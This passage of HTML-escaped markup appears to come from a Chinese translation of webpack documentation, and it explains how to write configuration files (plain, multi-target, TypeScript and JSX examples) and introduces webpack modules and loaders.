stats&lt;/span&gt;) &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;// ...&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;);&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;blockquote&gt;
&lt;p&gt;你知道吗：上面的例子和 &lt;a href=&quot;https://github.com/webpack/webpack/blob/master/bin/webpack.js#L290-L292&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;webpack自身运行时&lt;/a&gt; 极其相似！在 &lt;a href=&quot;https://github.com/webpack/webpack&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;webpack源码&lt;/a&gt; 中隐藏了大量优秀的例子，你完全可以将它们应用在你自己的配置和脚本中！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;配置-1&quot;&gt;&lt;a href=&quot;#配置-1&quot; class=&quot;headerlink&quot; title=&quot;配置&quot;&gt;&lt;/a&gt;&lt;span id=&quot;configurations&quot;&gt;&lt;/span&gt;配置&lt;/h2&gt;&lt;p&gt;你也许已经注意到几乎没有完全相同的webpack配置。这是因为webpack的配置文件是导出一个对象的JavaScript文件。 webpack将会基于这个对象定义的属性进行一系列处理。&lt;/p&gt;
&lt;p&gt;因为它是一个标准的符合nodejs中CommonJs规范的模块，所以你可以做下面的事情：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过 &lt;code&gt;require(...)&lt;/code&gt; 导入其它文件&lt;/li&gt;
&lt;li&gt;通过 &lt;code&gt;require(...)&lt;/code&gt; 使用npm库中的工具集&lt;/li&gt;
&lt;li&gt;使用Javascrpt控制流表达式，比如 &lt;code&gt;?:&lt;/code&gt; 操作符&lt;/li&gt;
&lt;li&gt;对经常使用的值用常量或变量存储&lt;/li&gt;
&lt;li&gt;编写和执行函数去生成部分配置&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因地制宜。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;你不应该使用下面的这些&lt;/strong&gt;。其实从技术角度而言你可以使用它们，但是强烈不推荐使用。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当使用webpack命令行的时候访问命令行参数（而不是写你自己的命令行，或者使用 &lt;code&gt;--env&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;导出不确定的值（多次调用webpack应该输出相同的文件）&lt;/li&gt;
&lt;li&gt;配置代码过于冗长（而不是将配置划分成多个文件）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下面的例子描述了webpack配置对象的丰富的表现力和可配置性，因为它就是代码：&lt;/p&gt;
&lt;h3 id=&quot;最简单的配置&quot;&gt;&lt;a href=&quot;#最简单的配置&quot; class=&quot;headerlink&quot; title=&quot;最简单的配置&quot;&gt;&lt;/a&gt;最简单的配置&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;webpack.config.js&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;module&lt;/span&gt;.exports = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  entry: &lt;span class=&quot;string&quot;&gt;&#39;./foo.js&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  output: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    path: path.resolve(__dirname, &lt;span class=&quot;string&quot;&gt;&#39;dist&#39;&lt;/span&gt;),&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    filename: &lt;span class=&quot;string&quot;&gt;&#39;foo.bundle.js&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h3 id=&quot;多个目标&quot;&gt;&lt;a href=&quot;#多个目标&quot; class=&quot;headerlink&quot; title=&quot;多个目标&quot;&gt;&lt;/a&gt;多个目标&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;webpack.config.js&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; path = &lt;span class=&quot;built_in&quot;&gt;require&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;path&#39;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; webpack = &lt;span class=&quot;built_in&quot;&gt;require&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;webpack&#39;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; webpackMerge = &lt;span class=&quot;built_in&quot;&gt;require&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;webpack-merge&#39;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; baseConfig = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  target: &lt;span class=&quot;string&quot;&gt;&#39;async-node&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  entry: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    entry: &lt;span class=&quot;string&quot;&gt;&#39;./entry.js&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  output: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    path: path.resolve(__dirname, &lt;span class=&quot;string&quot;&gt;&#39;dist&#39;&lt;/span&gt;),&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    filename: &lt;span class=&quot;string&quot;&gt;&#39;[name].js&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  plugins: [&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt; webpack.optimize.CommonsChunkPlugin(&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      name: &lt;span class=&quot;string&quot;&gt;&#39;inline&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      filename: &lt;span class=&quot;string&quot;&gt;&#39;inline.js&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      minChunks: &lt;span class=&quot;literal&quot;&gt;Infinity&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &amp;#125;),&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt; webpack.optimize.AggressiveSplittingPlugin(&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      minSize: &lt;span class=&quot;number&quot;&gt;5000&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      maxSize: &lt;span class=&quot;number&quot;&gt;10000&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &amp;#125;)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  ]&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;let&lt;/span&gt; targets = [&lt;span class=&quot;string&quot;&gt;&#39;web&#39;&lt;/span&gt;, &lt;span class=&quot;string&quot;&gt;&#39;webworker&#39;&lt;/span&gt;, &lt;span class=&quot;string&quot;&gt;&#39;node&#39;&lt;/span&gt;, &lt;span class=&quot;string&quot;&gt;&#39;async-node&#39;&lt;/span&gt;, &lt;span class=&quot;string&quot;&gt;&#39;node-webkit&#39;&lt;/span&gt;, &lt;span class=&quot;string&quot;&gt;&#39;electron-main&#39;&lt;/span&gt;].map((target) =&amp;gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;let&lt;/span&gt; base = webpackMerge(baseConfig, &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    target: target,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    output: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      path: path.resolve(__dirname, &lt;span class=&quot;string&quot;&gt;&#39;dist/&#39;&lt;/span&gt; + target),&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      filename: &lt;span class=&quot;string&quot;&gt;&#39;[name].&#39;&lt;/span&gt; + target + &lt;span class=&quot;string&quot;&gt;&#39;.js&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt; base;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;module&lt;/span&gt;.exports = targets;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;blockquote&gt;
&lt;p&gt; 从这篇文档中你所应该明白的是，有很多不同的方式去格式化和风格化你的webpack配置文件。关键是要保持一致，好便于你和你的团队去理解和维护。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;使用-TypeScript&quot;&gt;&lt;a href=&quot;#使用-TypeScript&quot; class=&quot;headerlink&quot; title=&quot;使用 TypeScript&quot;&gt;&lt;/a&gt;使用 TypeScript&lt;/h3&gt;&lt;p&gt;在下面的例子中我们使用TypeScript创建一个angular-cli使用的类去&lt;a href=&quot;https://github.com/angular/angular-cli/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;生成配置&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;webpack.config.js&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;import&lt;/span&gt; * &lt;span class=&quot;keyword&quot;&gt;as&lt;/span&gt; webpackMerge &lt;span class=&quot;keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&#39;webpack-merge&#39;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;import&lt;/span&gt; &amp;#123; CliConfig &amp;#125; &lt;span class=&quot;keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&#39;./config&#39;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;import&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  getWebpackCommonConfig,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  getWebpackDevConfigPartial,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  getWebpackProdConfigPartial,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  getWebpackMobileConfigPartial,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  getWebpackMobileProdConfigPartial&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125; &lt;span class=&quot;keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&#39;./&#39;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;class&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;NgCliWebpackConfig&lt;/span&gt; &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;comment&quot;&gt;// &lt;span class=&quot;doctag&quot;&gt;TODO:&lt;/span&gt; When webpack2 types are finished lets replace all these any types&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;comment&quot;&gt;// so this is more maintainable in the future for devs&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  public config: any;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  private webpackDevConfigPartial: any;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  private webpackProdConfigPartial: any;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  private webpackBaseConfig: any;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  private webpackMobileConfigPartial: any;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  private webpackMobileProdConfigPartial: any;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;constructor&lt;/span&gt;(public ngCliProject: any, public target: string, public environment: string, outputDir?: string) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; config: CliConfig = CliConfig.fromProject();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; appConfig = config.config.apps[&lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;];&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      appConfig.outDir = outputDir || appConfig.outDir;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.webpackBaseConfig = getWebpackCommonConfig(&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.ngCliProject.root, environment, appConfig);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.webpackDevConfigPartial = getWebpackDevConfigPartial(&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.ngCliProject.root, appConfig);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.webpackProdConfigPartial = getWebpackProdConfigPartial(&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.ngCliProject.root, appConfig);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt; (appConfig.mobile)&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.webpackMobileConfigPartial = getWebpackMobileConfigPartial(&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.ngCliProject.root, appConfig);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.webpackMobileProdConfigPartial = getWebpackMobileProdConfigPartial(&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.ngCliProject.root, appConfig);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.webpackBaseConfig = webpackMerge(&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.webpackBaseConfig, &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.webpackMobileConfigPartial);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.webpackProdConfigPartial = webpackMerge(&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.webpackProdConfigPartial, &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.webpackMobileProdConfigPartial);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;       &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.generateConfig();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  generateConfig(): &lt;span class=&quot;keyword&quot;&gt;void&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;switch&lt;/span&gt; (&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.target) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&quot;development&quot;&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.config = webpackMerge(&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.webpackBaseConfig, &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.webpackDevConfigPartial);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&quot;production&quot;&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.config = webpackMerge(&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.webpackBaseConfig, &lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.webpackProdConfigPartial);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;default&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;built_in&quot;&gt;Error&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&quot;Invalid build target. Only &#39;development&#39; and &#39;production&#39; are available.&quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h3 id=&quot;使用JSX&quot;&gt;&lt;a href=&quot;#使用JSX&quot; class=&quot;headerlink&quot; title=&quot;使用JSX&quot;&gt;&lt;/a&gt;使用JSX&lt;/h3&gt;&lt;p&gt;下面的例子中使用了JSX和Babel创建了一个webpack可以理解的JSON配置。&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;import&lt;/span&gt; h &lt;span class=&quot;keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&#39;jsxobj&#39;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;// example of an import&#39;d plugin&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; CustomPlugin = config =&amp;gt; (&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  ...config,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  name: &lt;span class=&quot;string&quot;&gt;&#39;custom-plugin&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;default&lt;/span&gt; (&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;lt;webpack target=&quot;web&quot; watch&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &amp;lt;entry path=&quot;src/index.js&quot; /&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &amp;lt;resolve&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &amp;lt;alias &amp;#123;...&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;        react: &#39;preact-compat&#39;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;        &#39;react-dom&#39;: &#39;preact-compat&#39;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &amp;#125;&amp;#125; /&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &amp;lt;/resolve&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &amp;lt;plugins&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &amp;lt;uglify-js opts=&amp;#123;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;            compression: true,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;            mangle: false&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &amp;#125;&amp;#125; /&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      &amp;lt;CustomPlugin foo=&quot;bar&quot; /&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &amp;lt;/plugins&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &amp;lt;/webpack&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;);&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h2 id=&quot;模块&quot;&gt;&lt;a href=&quot;#模块&quot; class=&quot;headerlink&quot; title=&quot;模块&quot;&gt;&lt;/a&gt;&lt;span id=&quot;modules&quot;&gt;&lt;/span&gt;模块&lt;/h2&gt;&lt;p&gt;在 &lt;a href=&quot;https://en.wikipedia.org/wiki/Modular_programming&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;模块化编程&lt;/a&gt; 中，开发者会将项目拆分成独立的功能模块。&lt;/p&gt;
&lt;p&gt;相比于每个项目而言，每个模块的覆盖面积较小，这使得验证，调试以及测试更加轻而易举。良好编写的模块提供了可靠的抽象和边界封装，因此从应用地整体上来看，每个模块都会拥有一致的设计和清晰的目标。&lt;/p&gt;
&lt;p&gt;Nodejs几乎从诞生开始就已经支持模块化编程。然而，web端的模块化却迟迟未能实现。在web端有很多不同的工具支持模块化的Javascript代码，它们拥有不同的益处和局限。webpack从以往的这些系统中汲取经验和教训，实现了将模块化的概念应用于项目中的任何一个文件。&lt;/p&gt;
&lt;h3 id=&quot;webpack模块是什么&quot;&gt;&lt;a href=&quot;#webpack模块是什么&quot; class=&quot;headerlink&quot; title=&quot;webpack模块是什么&quot;&gt;&lt;/a&gt;webpack模块是什么&lt;/h3&gt;&lt;p&gt;和Node.js的模块相比，webpack的模块能通过很多不同的方式表达它们的依赖关系。下面是一些例子：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ES2015 的 &lt;code&gt;import&lt;/code&gt; 声明&lt;/li&gt;
&lt;li&gt;Javascript 的 &lt;code&gt;require()&lt;/code&gt; 声明&lt;/li&gt;
&lt;li&gt;AMD的 &lt;code&gt;define&lt;/code&gt; 和 &lt;code&gt;require()&lt;/code&gt; 声明&lt;/li&gt;
&lt;li&gt;css/sass/less 文件中的 &lt;code&gt;@import&lt;/code&gt; 声明&lt;/li&gt;
&lt;li&gt;样式表（&lt;code&gt;url(...)&lt;/code&gt;）或者html（&lt;code&gt;&amp;lt;img src=...&amp;gt;&lt;/code&gt;）中的图片url&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;webpack 1 需要使用指定的加载器去转换ES2015的 &lt;code&gt;import&lt;/code&gt;，然而webpack 2可能不再需要。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;支持的模块类型&quot;&gt;&lt;a href=&quot;#支持的模块类型&quot; class=&quot;headerlink&quot; title=&quot;支持的模块类型&quot;&gt;&lt;/a&gt;支持的模块类型&lt;/h3&gt;&lt;p&gt;webpack通过加载器可以支持使用不同语言和预处理器编写的模块。加载器告诉webpack怎样去处理非Javascript的模块，以及如何将它们的依赖关系包含进你的包里。webpack社区已经为各种广受欢迎的语言和语言处理器构建了加载器，包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://coffeescript.org/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;CoffeeScript&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.typescriptlang.org/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;TypeScript&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://babeljs.io/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;ESNext(Babel)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://sass-lang.com/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;Sass&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://lesscss.org/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;Less&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://stylus-lang.com/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;Stylus&lt;/a&gt;&lt;/li&gt;
